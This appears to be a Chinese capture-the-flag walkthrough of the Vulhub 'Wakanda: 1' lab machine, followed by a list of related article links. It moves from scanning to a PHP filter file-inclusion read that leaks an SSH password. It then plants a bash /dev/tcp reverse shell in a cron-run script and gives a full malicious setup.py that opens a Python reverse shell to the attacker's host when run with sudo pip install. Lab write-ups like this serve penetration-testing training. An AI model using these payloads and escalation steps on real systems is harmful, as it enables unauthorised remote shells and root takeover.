Vulhub Wakanda : 1靶机详解

1. 主机发现+端口扫描+目录扫描+敏感信息获取

1.1. 主机发现

plain 复制代码
nmap -sn 192.168.7.0/24|grep -B 2 '08:00:27:DB:19:70'

1.2. 端口扫描

plain 复制代码
nmap 192.168.7.171 -p- -A

1.3. 目录扫描

plain 复制代码
dirb http://192.168.7.171

1.4. 敏感信息收集

plain 复制代码
whatweb http://192.168.7.171

2. WEB打点寻找漏洞点

2.1. 访问80端口

1.进了主页面,老规矩随便点点功能点,网页底线有些邮箱信息【mamadou】,暂时没实际用途 -> 查看网站源代码,有提示

2.拼接/?lang=fr试试看,没事大变换,但是url可能存在文件包含漏洞

3.尝试读取拼接路径读取网站源码

plain 复制代码
/?lang=php://filter/convert.base64-encode/resource=index

直接看网站源代码方便一些 -> 疑似base64加密 -> 解密得到密码

Niamey4Ever227!!!

2.2. SSH登录-GetShell

尝试用得到的密码搭配着邮箱信息登陆一下 -> 登录成功

plain 复制代码
mamadou:Niamey4Ever227!!!

切换至shell窗口

3. 权限提升

1查看当前用户的命令权限,没权限看 -> 查看内核版本,没有找到合适的提权方式

plain 复制代码
sudo -l
uname -a

2.在passwd中发现另一个用户 devops

3进入devops根目录,查看flag2文件,没有权限

4.看看其他关联文件

plain 复制代码
find / -user devops 2>/dev/null

发现 /srv/.antivirus.py 文件会将内容写入到 /tmp/test 中

plain 复制代码
cat /srv/.antivirus.py
open('/tmp/test','w').write('test')

将内容修改一下,尝试执行反弹shell

plain 复制代码
vi /srv/.antivirus.py
import os
os.system("echo 'bash -i >& /dev/tcp/192.168.7.36/4444 0>&1'|bash")

5.打开kali的监听【因为是计划任务稍等一会就会上线】

plain 复制代码
nc -lvvp 4444

查看第二个flag文件

6.查看当前用户的命令权限 -> 是all,尝试直接提权 -> 不大行

plain 复制代码
sudo -l
sudo su

7.网上找了一个相干的exp,创建一个setup.py,在其中写入

plain 复制代码
from setuptools import setup
from setuptools.command.install import install
import base64
import os
 
 
class CustomInstall(install):
    def run(self):
        install.run(self)
        RHOST = '192.168.7.36' 
 
        reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 8888; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
        encoded = base64.b64encode(reverse_shell)
        os.system('echo %s|base64 -d|bash' % encoded)
 
 
setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='[email protected]',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

修改为kali的ip

开启临时web服务,将其下载到 /tmp 目录中

plain 复制代码
wget http://192.168.7.36:8001/setup.py

kali开启监听

plain 复制代码
nc -lvnp 8888

靶机执行命令,成功反弹shell,提权成功

plain 复制代码
sudo /usr/bin/pip install . --upgrade --force-reinstall
相关推荐
未来之窗软件服务4 分钟前
数字人-局域网共用一个数字人平台-谷歌浏览器没有ssl配置
网络·网络协议·ssl·数字人
爱知菜4 小时前
Windows安装Docker Desktop(WSL2模式)和Docker Pull网络问题解决
运维·docker·容器
影龙帝皖5 小时前
Linux网络之局域网yum仓库与apt的实现
linux·服务器·网络
月下雨(Moonlit Rain)5 小时前
Docker
运维·docker·容器
李詹5 小时前
如何解决DDoS攻击问题 ?—专业解决方案深度分析
网络·ddos
技术小甜甜6 小时前
[Dify] 使用 Docker 本地部署 Dify 并集成 Ollama 模型的详细指南
运维·docker·容器·dify
独隅7 小时前
在 macOS 上修改 最大文件描述符限制(Too many open files) 和 网络端口相关参数 需要调整系统级配置的详细步骤
网络·macos
学习中的程序媛~7 小时前
主服务器和子服务器之间通过NFS实现文件夹共享
运维·服务器
IT艺术家-rookie7 小时前
TCP/UDP的连接和数据发送过程详解
网络·网络协议
hi0_67 小时前
Linux 第三讲 --- 基础指令(三)
linux·运维·服务器·c++